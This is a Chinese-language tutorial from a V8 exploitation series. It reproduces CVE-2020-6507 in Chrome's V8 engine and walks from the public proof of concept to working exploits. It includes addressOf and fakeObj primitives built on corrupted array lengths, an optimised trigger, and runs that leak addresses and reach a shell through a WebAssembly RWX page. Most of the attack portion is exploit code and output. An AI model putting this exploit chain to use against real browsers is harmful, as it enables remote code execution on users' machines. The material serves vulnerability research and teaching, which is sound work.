作者:Hcamael@知道創宇404實驗室

相關閱讀: 從 0 開始學 V8 漏洞利用之環境搭建(一)
從 0 開始學 V8 漏洞利用之 V8 通用利用鏈(二)
從 0 開始學 V8 漏洞利用之 starctf 2019 OOB(三)

復現CVE-2020-6507

信息收集

在復習漏洞前,我們首先需要有一個信息收集的階段:

  1. 可以從Chrome的官方更新公告得知某個版本的Chrome存在哪些漏洞。
  2. 從官方更新公告上可以得到漏洞的bug號,從而在官方的issue列表獲取該bug相關信息,太新的可能會處于未公開狀態。
  3. 可以在Google搜索Chrome 版本號 "dl.google.com",比如chrome 90.0.4430.93 "dl.google.com",可以搜到一些網站有Chrome更新的新聞,在這些新聞中能獲取該版本Chrome官方離線安裝包。下載Chrome一定要從dl.google.com網站上下載。

我第二個研究的是CVE-2020-6507,可以從官方公告得知其chrome的bug編號為:1086890

可以很容易找到其相關信息:

受影響的Chrome最高版本為:83.0.4103.97 受影響的V8最高版本為:8.3.110.9

相關PoC:

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
    new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];

function trigger(array) {
  var x = array.length;
  x -= 67108861;
  x = Math.max(x, 0);
  x *= 6;
  x -= 5;
  x = Math.max(x, 0);

  let corrupting_array = [0.1, 0.1];
  let corrupted_array = [0.1];

  corrupting_array[x] = length_as_double;
  return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
  trigger(giant_array);
}

corrupted_array = trigger(giant_array)[1];
alert('corrupted array length: ' + corrupted_array.length.toString(16));
corrupted_array[0x123456];

搭建環境

一鍵編譯相關環境:

$ ./build.sh 8.3.110.9

套模版

暫時先不用管漏洞成因,漏洞原理啥的,我們先借助PoC,來把我們的exp寫出來。

研究PoC

運行一下PoC:

$ cat poc.js
......
corrupted_array = trigger(giant_array)[1];
console.log('corrupted array length: ' + corrupted_array.length.toString(16));
# 最后一行刪了,alert改成console.log
$ ./d8 poc.js
corrupted array length: 12121212

可以發現,改PoC的作用是把corrupted_array數組的長度改為0x24242424/2 = 0x12121212,那么后續如果我們的obj_arraydouble_array在這個長度的內存區域內,那么就可以寫addressOffakeObj函數了。

來進行一波測試:

$ cat test.js
......
corrupted_array = trigger(giant_array)[1];
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];

%DebugPrint(corrupted_array);
%SystemBreak();
DebugPrint: 0x9ce0878c139: [JSArray]
 - map: 0x09ce08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x09ce082091e1 <JSArray[0]>

Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
......
pwndbg> x/32gx 0x9ce0878c139-1
0x9ce0878c138:  0x080406e908241891 0x2424242400000000
0x9ce0878c148:  0x00000004080404b1 0x0878c1390878c119
0x9ce0878c158:  0x080406e9082418e1 0x000000040878c149

調試的時候,發現程序crash了,不過我們仍然可以查看內存,發現該版本的v8,已經對地址進行了壓縮,我們雖然把length位改成了0x24242424,但是我們卻也把elements位改成了0x00000000。在這個步驟的時候,我們沒有泄漏過任何地址,有沒有其他沒辦法構造一個elements呢。

最后發現堆地址是從低32bit地址為0x00000000開始的,后續變量可能會根據環境的問題有所變動,那么前面的值是不是低32bit地址不會變呢?

改了改測試代碼,如下所示:

$ cat test.js
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);

function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}
function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}

array = Array(0x40000).fill(1.1);
......
corrupted_array = trigger(giant_array)[1];
%DebugPrint(double_array);
var a = corrupted_array[0];
console.log("a = 0x" + ftoi(a).toString(16));

結果為:

$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x288c089017d5: [JSArray] in OldSpace
 - map: 0x288c08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x288c082091e1 <JSArray[0]>
 - elements: 0x288c089046ed <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x288c080406e9 <FixedArray[0]> {
    #length: 0x288c08180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x288c089046ed <FixedDoubleArray[1]> {
           0: 1.1
 }
0x288c08241891: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x288c08241869 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x288c08180451 <Cell value= 1>
 - instance descriptors #1: 0x288c08209869 <DescriptorArray[1]>
 - transitions #1: 0x288c082098b5 <TransitionArray[4]>Transition array #1:
     0x288c08042eb9 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x288c082418b9 <Map(HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x288c082091e1 <JSArray[0]>
 - constructor: 0x288c082090b5 <JSFunction Array (sfi = 0x288c08188e45)>
 - dependent code: 0x288c080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

a = 0x80406e908241891

成功泄漏出double_array變量的map地址,再改改測試代碼:

$ cat test.js
......
length_as_double =
    new Float64Array(new BigUint64Array([0x2424242408901c75n]).buffer)[0];
......
%DebugPrint(double_array);
%DebugPrint(obj_array);
var array_map = corrupted_array[0];
var obj_map = corrupted_array[4];
console.log("array_map = 0x" + ftoi(array_map).toString(16));
console.log("obj_map = 0x" + ftoi(obj_map).toString(16));

再來看看結果:

$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x34f108901c7d: [JSArray] in OldSpace
 - map: 0x34f108241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x34f1082091e1 <JSArray[0]>
 - elements: 0x34f108904b95 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x34f1080406e9 <FixedArray[0]> {
    #length: 0x34f108180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x34f108904b95 <FixedDoubleArray[1]> {
           0: 1.1
 }
......
DebugPrint: 0x34f108901c9d: [JSArray] in OldSpace
 - map: 0x34f1082418e1 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x34f1082091e1 <JSArray[0]>
 - elements: 0x34f108904b89 <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x34f1080406e9 <FixedArray[0]> {
    #length: 0x34f108180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x34f108904b89 <FixedArray[1]> {
           0: 0x34f108901c8d <Object map = 0x34f108244e79>
 }
......
array_map = 0x80406e908241891
obj_map = 0x80406e9082418e1

成功泄漏了map地址,不過該方法的缺點是,只要修改了js代碼,堆布局就會發生一些變化,就需要修改elements的值,所以需要先把所有代碼寫好,不準備變的時候,再來修改一下這個值。

不過也還有一些方法,比如堆噴,比如把elements值設置的稍微小一點,然后在根據map的低20bit為0x891,來搜索map地址,不過這些方法本文不再深入研究,有興趣的可以自行進行測試。

編寫addressOf函數

現在我們能來編寫addressOf函數了:

function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    corrupted_array[4] = array_map; // 把obj數組的map地址改為浮點型數組的map地址
    let obj_addr = ftoi(obj_array[0]) - 1n;
    corrupted_array[4] = obj_map; // 把obj數組的map地址改回來,以便后續使用
    return obj_addr;
}

編寫fakeObj函數

接下來就是編寫fakeObj函數:

function fakeObj(addr_to_fake)
{
    double_array[0] = itof(addr_to_fake + 1n);
    corrupted_array[0] = obj_map;  // 把浮點型數組的map地址改為對象數組的map地址
    let faked_obj = double_array[0];
    corrupted_array[0] = array_map; // 改回來,以便后續需要的時候使用
    return faked_obj;
}

修改偏移

改版本中,需要修改的偏移有:

$ cat exp1.js
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
......
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x10n;
......
}
......
fake_object_addr = fake_array_addr + 0x48n;
......

其他都模板中一樣,最后運行exp1:

$ ./d8 --allow-natives-syntax exp1.js
array_map = 0x80406e908241891
obj_map = 0x80406e9082418e1
[*] leak fake_array addr: 0x8040a3d5962db08
[*] leak wasm_instance addr: 0x8040a3d082116bc
[*] leak rwx_page_addr: 0x28fd83851000
[*] buf_backing_store_addr: 0x9c0027c000000000
$ id
uid=1000(ubuntu) gid=1000(ubuntu)

優化exp

前面內容通過套模板的方式,寫出了exp1,但是卻有些許不足,因為elements的值是根據我們本地環境測試出來的,即使在測試環境中,代碼稍微變動,就需要修改,如果只是用來打CTF,我覺得這樣就足夠了。但是如果拿去實際的環境打,exp大概需要進行許多修改。

接下來,我將準備講講該漏洞原理,在理解其原理后,再來繼續優化我們的exp。那為啥之前花這么長時間講這個不太實用的exp?而不直接講優化后的exp?因為我想表明,在只有PoC的情況下,也可以通過套模板,寫出exp。

漏洞成因

漏洞成因這塊我不打算花太多時間講,因為我發現,V8更新的太快了,你花大量時間來分析這個版本的代碼,分析這個漏洞的相關代碼,但是換一個版本,會發現代碼發生了改變,之前分析的已經過時了。所以我覺得起碼在初學階段,沒必要深挖到最底層。

bugs.chromium.org上已經很清楚了解釋了該漏洞了。

NewFixedArrayNewFixedDoubleArray沒有對數組的大小進行判斷,來看看NewFixedDoubleArray修復后的代碼,多了一個判斷:

macro NewFixedDoubleArray<Iterator: type>(
......
  if (length > kFixedDoubleArrayMaxLength) deferred {
      runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
    }
......

再去搜一搜源碼,發現kFixedDoubleArrayMaxLength = 671088612,說明一個浮點型的數組,最大長度為67108862

我們再來看看PoC:

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

我們來算算,array的長度為0x40000args的為0xffarray,然后args還push了一個長度為0x3fffc的數組。

通過Array.prototype.concat.apply函數,把args變量變成了長度為0x40000 * 0xff + 0x3fffc = 67108860的變量giant_array

接著再使用splice添加了3個值,該函數將會執行NewFixedDoubleArray函數,從而生成了一個長度為67108860+3=67108863的浮點型數組。

該長度已經超過了kFixedDoubleArrayMaxLength的值,那么改漏洞要怎么利用呢?

來看看trigger函數:

function trigger(array) {
  var x = array.length;
  x -= 67108861;
  x = Math.max(x, 0);
  x *= 6;
  x -= 5;
  x = Math.max(x, 0);

  let corrupting_array = [0.1, 0.1];
  let corrupted_array = [0.1];

  corrupting_array[x] = length_as_double;
  return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
  trigger(giant_array);  // 觸發JIT優化
}

該函數傳入的為giant_array數組,其長度為67108863,所以x = 67108863,經過計算后,得到x = 7,然后執行corrupting_array[x] = length_as_double;corrupting_array原本以數組的形式儲存浮點型,長度為2,但是給其index=7的位置賦值,將會把該變量的儲存類型變為映射模式。

這么一看,好像并沒有什么問題。但是V8有一個特性,會對執行的比較多的代碼進行JIT優化,會刪除一些冗余代碼,加速代碼的執行速度。

比如對trigger函數進行優化,V8會認為x的最大長度為67108862,那么x最后的計算結果最大值為1,那么x最后的值不是0就是1,corrupting_array的長度為2,不論對其0還是1賦值都是有效的。原本代碼在執行corrupting_array[x]執行的時候,會根據x的值對corrupting_array邊界進行檢查,但是通過上述的分析,JIT認為這種邊界檢查是沒有必要的,就把檢查的代碼給刪除了。這樣就直接對corrupting_array[x]進行賦值,而實際的x值為7,這就造成了越界讀寫,而index=7這個位置,正好是corrupted_array變量的elementslength位,所以PoC達到了之前分析的那種效果。

知道原理了,那么我們就能對該函數進行一波優化了,我最后的優化代碼如下:

length_as_double =
    new Float64Array(new BigUint64Array([0x2424242422222222n]).buffer)[0];
function trigger(array) {
  var x = array.length;
  x -= 67108861; // 1 2
  x *= 10; // 10 20
  x -= 9; // 1 11
  let test1 = [0.1, 0.1];
  let test2 = [test1];
  let test3 = [0.1];
  test1[x] = length_as_double; // fake length
  return [test1, test2, test3];
}

x最后的值為11,修改到了test3的長度,但是并不會修改到elements的值,因為中間有個test2,導致產生了4字節的偏移,所以我們可以讓我們只修改test3的長度而不影響到elements

根據上述思路,我們對PoC進行一波修改:

function trigger(array, oob) {
  var x = array.length;
  x -= 67108861; // 1 2
  x *= 10; // 10 20
  x -= 9; // 1 11
  oob[x] = length_as_double; // fake length
}

for (let i = 0; i < 30000; ++i) {
  vul = [1.1, 2.1];
  pad = [vul];
  double_array = [3.1];
  obj = {"a": 2.1};
  obj_array = [obj];
  trigger(giant_array, vul);
}
%DebugPrint(double_array);
%DebugPrint(obj_array);
//%SystemBreak();
var array_map = double_array[1];
var obj_map = double_array[8];
console.log("[*] array_map = 0x" + hex(ftoi(array_map)));
console.log("[*] obj_map = 0x" + hex(ftoi(obj_map)));

接下來只要在exp1的基礎上對addressOffakeObj進行一波微調,就能形成我們的exp2了:

$ cat exp2.js
function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    double_array[8] = array_map; // 把obj數組的map地址改為浮點型數組的map地址
    let obj_addr = ftoi(obj_array[0]) - 1n;
    double_array[8] = obj_map; // 把obj數組的map地址改回來,以便后續使用
    return obj_addr;
}

function fakeObj(addr_to_fake)
{
    double_array[0] = itof(addr_to_fake + 1n);
    double_array[1] = obj_map;  // 把浮點型數組的map地址改為對象數組的map地址
    let faked_obj = double_array[0];
    return faked_obj;
}
$ ./d8  exp2.js
[*] array_map = 0x80406e908241891
[*] obj_map = 0x80406e9082418e1
[*] leak fake_array addr: 0x8241891591b0d88
[*] leak wasm_instance addr: 0x8241891082116f0
[*] leak rwx_page_addr: 0x3256ebaef000
[*] buf_backing_store_addr: 0x7d47f2d000000000
$ id
uid=1000(ubuntu) gid=1000(ubuntu)

參考

  1. https://chromereleases.googleblog.com/
  2. https://bugs.chromium.org/p/chromium/issues/list
  3. https://bugs.chromium.org/p/chromium/issues/detail?id=1086890

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1823/